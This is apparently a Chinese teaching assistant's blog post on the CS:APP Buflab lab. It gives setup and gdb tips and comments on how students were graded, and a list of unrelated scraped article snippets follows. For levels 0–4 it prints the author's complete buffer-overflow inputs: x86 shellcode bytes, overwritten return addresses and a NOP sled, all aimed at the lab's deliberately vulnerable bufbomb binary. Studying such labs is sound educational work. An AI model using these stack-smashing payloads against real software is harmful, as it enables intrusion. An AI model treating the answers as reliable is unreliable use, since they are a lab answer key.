2024Spring> HNU-计算机系统-实验4-Buflab-导引+验收

前言

称不上导引了,因为验收已经结束了。主要是最近比较忙,在准备期末考试。周五晚上才开始看实验,自己跟着做了一遍实验,感觉难度还是比bomblab要低的,但是如果用心做的话对于栈帧的理解确实能上几个档次。

实验参考

这次我先上参考文献了,我主要还是在看A橙学长写的blog,然后参考了一些其它的blog。

由于我自己并没有花太多时间去做这个实验,我还是觉得看前辈们的博客会更方便理解一点。

A橙学长的buflab博客

CSAPP-buflab - 简书

计算机系统实验三——buflab(缓冲区实验)-CSDN博客

引导

这个实验主要是让我们用缓冲区溢出的方式修改函数的返回地址,或者修改寄存器的值,用这种方式可以让原来的函数干一些你想让它干的事情。具体逻辑在后面呈现。

①环境准备

拿到手应该是buflab-handout.tar.gz包,首先使用如下指令解压。

tar -xzvf buflab-handout.tar.gz

这样会得到3个文件,

  • bufbomb:类似于前面的bomblab的bomb,是我们要拆的炸弹
  • makecookie:让我们知道自己的用户id对应什么cookie(推测是一种哈希映射)
  • hex2raw:将我们写的16进制编码转换为字符串输入

与之前一样,可以使用如下指令反汇编得到汇编代码,保存在txt文件内,方便查看。

objdump -d bufbomb > bombcode.txt

使用如下代码查看自己的cookie,比如我的用户名是wolf,我就按下面这样,它会给出一个4字节的哈希值,这就是wolf对应的cookie。你也可以输入自己的学号,或者自己喜欢的代号。

./makecookie wolf

接下来就是看着txt文件,分析代码,然后拆炸弹,得到期望的运行结果了。

②逐个拆炸弹

一共有5关,从 level 0 到 level 4 ,难度递增,基本上后一个是前一个上面的改进。

我大致说说每一个level的含义以及不同。

  • level 0:修改getbuf函数的返回地址,使它调用smoke函数。不需要考虑栈被破坏的恢复
  • level 1:修改getbuf函数的返回地址,使它调用fizz函数,但是fizz函数有一个参数,需要同时修改栈上被传递的参数,该函数验证cookie是否等于被传递的参数。不需要考虑栈被破坏的恢复
  • level 2:修改getbuf函数的返回地址,使它调用bang函数,但是有一个全局变量(全局变量不保存在栈上,因而需要使用代码修改而不能简单通过缓冲区覆盖栈上的值完成),该函数验证cookie值是否等于这个全局变量。不需要考虑栈被破坏的恢复
  • level 3:执行getbuf()后,将getbuf()的返回值修改为cookie值,并返回到test()函数,同时恢复被破坏的栈(ebp的值)
  • level 4:使用-n标志运行程序】是上一level的升级版,相当于连续做5次level3,但有小区别。具体过程:调用testn(),在testn()中调用getbufn()五次,且缓冲区的大小为512字节。每次getbufn()的栈空间随机,因此不可以再使用level3中的方式找到buf的起始位置。

具体的拆炸弹过程可以参考上面列出来供参考的几位博客,我就不再赘述了。

评价一下,实验层层递进,由浅入深,确实十分精妙有趣。

③注意点

说一些注意点:

gdb的基础使用:

gdb -q bufbomb

打断点怎么打? 例如:b*0x8048436

怎么继续运行到下一个断点?c

最后一题注意要使用-n标志去运行程序(不论是调试还是运行),否则可能会报段错误

可以使用管道符来快速跑起来,如下面这样可以快速试试第4关

cat level4.txt | ./hex2raw | ./bufbomb -u wolf

④我的答案(对于name=wolf)

level0

/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00

/* return address to smoke 4 Bytes */
0b 8e 04 08

level1

/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00

/* return address to fizz 4 Bytes */
af 8d 04 08

/* spaces 4 Bytes */
00 00 00 00

/* cookie 4 Bytes */
68 18 e4 64

level2

/* my function 13 Bytes */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
b9 0c d1 04 08 /* mov $0x0804d10c,%ecx */
89 01          /* mov %eax,(%ecx) */
c3             /* ret */

/* spaces 31 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

/* return address to my function 4 Bytes */
58 3b 68 55

/* return address to bang 4 Bytes */
52 8d 04 08

level3

/* my function 17 Bytes */
68 50 8e 04 08 /* push $0x8048e50 */
68 b0 3b 68 55 /* push $0x55683bb0 */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
c9             /* leave */
c3             /* ret */

/* spaces 23 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

/* set ebp 4 Bytes */
80 3b 68 55

/* return address to my function 4 Bytes */
58 3b 68 55

level4(这个还需要调一下)

/* nop sleds 509 Bytes */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90

/* my function 15 Bytes */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
8d 6c 24 28    /* lea 0x28(%esp),%ebp */
68 e2 8c 04 08 /* push $0x8048ce2 */
c3             /* ret  */

/* set return address 4 Bytes */
c8 39 68 55

验收

接下来讲一下验收的情况。

由于这次实验我本人自认为确实没有做充足的准备(仅仅是做了一遍,并没有进行深入的思考)。因此这次实验验收,我主要是在听同学们讲,然后根据我认为他们的理解程度给出评价。也因此,这次我给出的基本都是A,基本没有给到B的,然后有4位A+。主要是我认为同学们都达到了我的预期,基本理解了栈帧以及运行时栈的调动(其实如果静下心来学的话,不难的)。

拿到A+的同学或者一些其它比较好的同学有以下优点可供同学们学习:

  • ①条理清晰:这一点其实说着好像简单,实际上一点都不简单。确实有些同学我知道他理解了,但是在展示上确实观感就没那么突出。(这个其实我也有一点这样,我不太善于表达自己的观点)。我认为能清晰地表达出自己的观点是一种非常重要的能力,无论是在哪里。
  • ②预先绘制清晰图表:运行时栈的变化有时还是很难讲清楚的,所以印象中有好几位同学预先绘制了这样的图表,就会清晰好多。关键是在短时间内,我能一眼看到他确实懂了。有辅助的图表,会清晰很多,这个是在展示的层面上,可视化比平铺直叙更具有吸引力,也更方便交流。
  • ③探索心路:这一点是很多同学都忽视的。同学们习惯一上来就从level 0 开始讲。其实我还是比较关注这整体实验的来历的。包括你是怎么知道有5个关卡的,你是怎么知道要做这些的,你是怎么知道实验通关的标志的,等等这些。我希望看到你从0探索出全图的一些心路(就像一个一个锚点去开,然后全图豁然开朗的欣喜),而不是上来就一路过关斩将,实际上又有几个人能做到这么顺利呢。虽然我们都知道这个世界最看重结果,但我认为探索的过程永远是最有价值的部分。这一点还可以延申一下,由于课业繁重等,我们做实验往往抱着完成任务的态度,这无可厚非,但有时会感觉太刻意了,缺乏了一些探索的美感。还是希望同学们能有这个意识。
  • ④分析缓冲区溢出原因:很少有同学提及,我们这个实验为什么能继续下去。印象中有同学翻开书给我看,或者翻代码给我看gets函数的特性,因为这是它不检验溢出,可以无限读取。以及用fgets函数可以避免这个漏洞。我觉得这就非常好,这就是知其然而知其所以然。有时候这也是我们实验需要关注的一些细节。
  • ⑤关注基本指令的作用:几个小问题,call指令,leave指令,ret指令究竟做了什么,怎么转换成基本的操作。我觉得这个问题很重要。很欣喜的是大部分同学都能答得上来(实际上这也是做这个实验的基本要求)。有同学掌握的不是很熟练,有同学特别对这个做了总结,我觉得还是要关注的。

其它的:

  • ⑥印象中有同学探究了中间几个level的多种实现方法(修改ebp寄存器的值可以通过指令修改,也可以直接缓冲区溢出覆盖),(恢复ebp的几种方法)还有一些别的实现方法。有同学做到后面的题目之后,能想到对前面题目的改进方法,并对前面的题目也做了栈的修复,这些探究都非常好。
  • ⑦印象比较深刻的是有同学在level 0 用重定位绕过了 0a 导致被识别成换行符的问题,还是能让程序从smoke的第一条指令进入,而不是网上大多采用的改为0b然后从第二条指令进入的方法。这是一个令我眼前一亮的想法。想到这个的同学对于知识的整体体系有一个较好的整合。
  • ⑧有同学对于实验中不理解的地方向我提出问题,我在自己的能力范围内试图给出解答,不一定是正确的,但我认为这也能在一定的程度上反映出他的思考。能提出问题,能提出有价值的问题,也是一种能力

验收只是一个形式,最重要的还是希望大家能从实验中确实学到知识。

下面简单罗列一些我或者研究生助教的提问

  • 这个level相比于上个level,主要增加了什么需要完成的部分,你是怎么完成的?(主要问题)
  • level1中间为什么会空一个可以随便填写的地方?
  • level2你的代码入口在哪里,怎么获取它的地址?
  • level4为这5个ebp,为什么选择最大的那个?如果选择最小的那个会出现什么问题?
  • 运行时栈,怎么变化?
  • 某个地址,某个ebp,某个立即数,你是怎么得到的?
  • 某条指令的作用(call,ret,leave等)?
  • gdb m32标志是干什么的?(这是研究生助教提问的,有同学答不上来)(我认为这个应该还是比较基础的,主要是我们的系统基本上都是64位的,但是我们用的这个bomb是32位的,如果不使用这个标志,我们自己写的汇编可能会编译出retq这种64位特有的指令类型,不兼容的)
  • 其它问题(主要围绕代码本身或者运行时栈的变化)

尾声

真的很高兴能在大三成为本科生助教,为可爱而优秀的学弟学妹们验收这门计算机领域最重要课程的4个实验。

说起来,最早想当助教的念头起源于大二我在上这门课程时遇到的优秀的A橙学长,A橙学长独特的人格魅力真的吸引了我们,我们班甚至是我们年级好多人都是A橙学长的小迷弟小迷妹。A橙学长撰写的大量博客如一盏明灯,指引着我的本科生活。我想当助教99%的原因都是来自于这一点。希望能将这一点传承下去。我就是基于这样一种朴素的,希望能把自己遇到的真善美传递下去,这个简单的理念。这也许就是湖大信息院的诸多“传承”之一吧,像班助一样。

预祝学弟学妹们都能收获自己满意的知识+成绩。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/644484.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

(南京观海微电子)——TFT LCM的作用

VCOM介绍 VCOM是液晶分子偏转的参考电压 ,要求要稳定,对液晶显示有直接影响,具体的屏不同的话 也是不同的。 电压的具体值是根据输入的数据以及Vcom电压大小来确定的,用来显示各种不同灰阶,也就是实现彩色显示GAMMA简…

《计算机网络微课堂》3-11 虚拟局域网 VLAN

本节课我们介绍虚拟局域网 VLAN 的基本概念。 ‍ 3.11.1 虚拟局域网 VLAN 概述 在之前课程中我们已经介绍过了以太网交换机自学习和转发帧的流程,‍‍以及为避免网络环路而产生的生成树协议。 以太网交换机工作在数据链路层,‍‍也包括物理层&#xf…

搜索自动补全-elasticsearch实现

1. elasticsearch准备 1.1 拼音分词器 github地址:https://github.com/infinilabs/analysis-pinyin/releases?page6 必须与elasticsearch的版本相同 第四步,重启es docker restart es1.2 定义索引库 PUT /app_info_article {"settings": …

vim操作手册

vim分为插入模式、命令模式、底行模式。 插入模式:编辑模式 命令模式:允许使用者通过命令,来进行文本的编辑控制 底行模式:用来进行让vim进行包括但不限于shell进行交互 w:保存 wq&am…

AI Agent: Agent框架+7个实例

何谓Agent Agent 作为一种新兴的人工智能技术,正在受到越来越多的关注。要说清楚什么是 Agent,先得看看人工智能的本质是什么。 人工智能这个名称来自它试图通过计算机程序或机器来模拟、扩展和增强人类智能的 一些方面。在这个定义中,“人…

Java进阶学习笔记20——枚举

认识枚举: 枚举是一种特殊的类。 枚举类的格式: 说明: 第一行是罗列枚举的对象名称。只能写合法的标识符(名称),多个名称用逗号隔开。 这些名称本质上都是常量,每个变量都会记住枚举类的一个…

z3-加法器实验

补码器加减法,运算方法简介 我们要知道什么是补码的加法,我们为什么要用补码的加法? 补码的加法其实就是将两个补码形式的二进制数字直接相加,处理的时候忽略超出固定位数的进位。补码的加法运算和无符号二进制数的加法操作一样&…

哈希双指针

文章目录 一、哈希1.1两数之和1.2字母异位词分组1.3最长子序列 二、双指针2.1[移动零](https://leetcode.cn/problems/move-zeroes/description/?envTypestudy-plan-v2&envIdtop-100-liked)2.2[盛最多水的容器](https://leetcode.cn/problems/container-with-most-water/d…

新人攻略:避开这3大坑,让老员工主动带你飞!

进入职场的新人们,常常会感到困惑和挑战。他们可能会发现自己在与老员工的交流中遇到难题,甚至发现老员工并不愿意花费时间和精力去指导他们。这背后的原因是什么呢?又该如何改善这一现象呢?本文将从新员工的角度出发,…

C# WPF入门学习(二)——创建一个demo工程

本期任务:创建一个按钮,点击之后在控制台打印文本,设置背景图片、圆角按钮加分。 一、创建WPF项目 创建工程 1. 打开VS 我用的2019 2. 打开界面 3. 选择创建项目 4. 选择C#中的WPF框架 5. 填写项目名称和选择路径 新项目就创建好了&#…

彩虹聚合二级域名DNS管理系统源码v1.3

聚合DNS管理系统可以实现在一个网站内管理多个平台的域名解析, 目前已支持的域名平台有:阿里云、腾讯云、华为云、西部数码、CloudFlare。 本系统支持多用户,每个用户可分配不同的域名解析权限;支持API接口, 支持获…

(Java面试题分享)万里长征-03-搜狐

万里长征-03-搜狐 ⚙ 以下内容基于GPT-4o模型 问题 1.LeetCode103 二叉树的锯齿形层序遍历 103. 二叉树的锯齿形层序遍历 - 力扣(LeetCode) 2.LeetCode5 最长回文子串 5. 最长回文子串 - 力扣(LeetCode) 3.Kafka为何那么快 …

Win32 API

个人主页:星纭-CSDN博客 系列文章专栏 : C语言 踏上取经路,比抵达灵山更重要!一起努力一起进步! 一.Win32 API 1.Win32 API介绍 Windows这个多作业系统除了协调应⽤程序的执⾏、分配内存、管理资源之外,它同时也是…

【达梦系列】IFUN_DATETIME_MODE 导致【无效的客户端版本】

问题描述 在项目开发时,应用程序连接达梦数据库报错:无效的客户端版本。这个问题在没有调整达梦数据参数之前是正常的,调整之后就不对了,但是又不清楚到底是哪个参数的问题。因为调整达梦参数时,用了一个达梦的参数调…

python数据分析——字符串和文本数据2

参考资料:活用pandas库 1、字符串格式化 (1)格式化字符串 要格式化字符串,需要编写一个带有特殊占位符的字符串,并在字符串上调用format方法向占位符插入值。 # 案例1 varflesh wound s"Its just a {}" p…

求斐波那契数列第n项的值

本期介绍🍖 主要介绍:什么是斐波那契数列,递归实现求斐波那契数列第n项值,递归法为什么不适合求斐波那契数,用迭代法实现求斐波那契数列的值👀。 文章目录 1. 斐波那契数列是什么?2. 题目2. 递归…

Java开发大厂面试第26讲:生产环境如何排查问题和优化 JVM?

通过前面几个课时的学习,相信你对 JVM 的理论及实践等相关知识有了一个大体的印象。而本课时将重点讲解 JVM 的排查与优化,这样就会对 JVM 的知识点有一个完整的认识,从而可以更好地应用于实际工作或者面试了。 我们本课时的面试题是&#x…

【气象常用】间断时间序列图

效果图: 主要步骤: 1. 数据准备:随机数组 2. 图像绘制:绘制间断的时间序列 详细代码:着急的直接拖到最后有完整代码 步骤一:导入库包及图片存储路径并设置中文字体为宋体,西文为新罗马&…

Foxit PDF Editor Pro福昕PDF编辑器Pro:重塑您的文档编辑体验

在信息爆炸的时代,PDF文件因其跨平台、格式稳定等特性,成为我们日常工作与学习中不可或缺的一部分。然而,面对这些文件时,许多人都会遇到一个共同的难题:如何高效、专业地编辑PDF内容?今天,我要…

企业内网开源OA服务器(办公自动化系统),搭建O2OA基于Linux(openEuler、CentOS8)

本实验环境为openEuler系统(以server方式安装)(CentOS8基本一致,可参考本文) 目录 知识点实验下载安装O2OA安装mysql配置O2OA 知识点 “O2OA” 是一个开源的、基于Java的办公自动化(Office Automation)系统。其名称中的“O2OA”…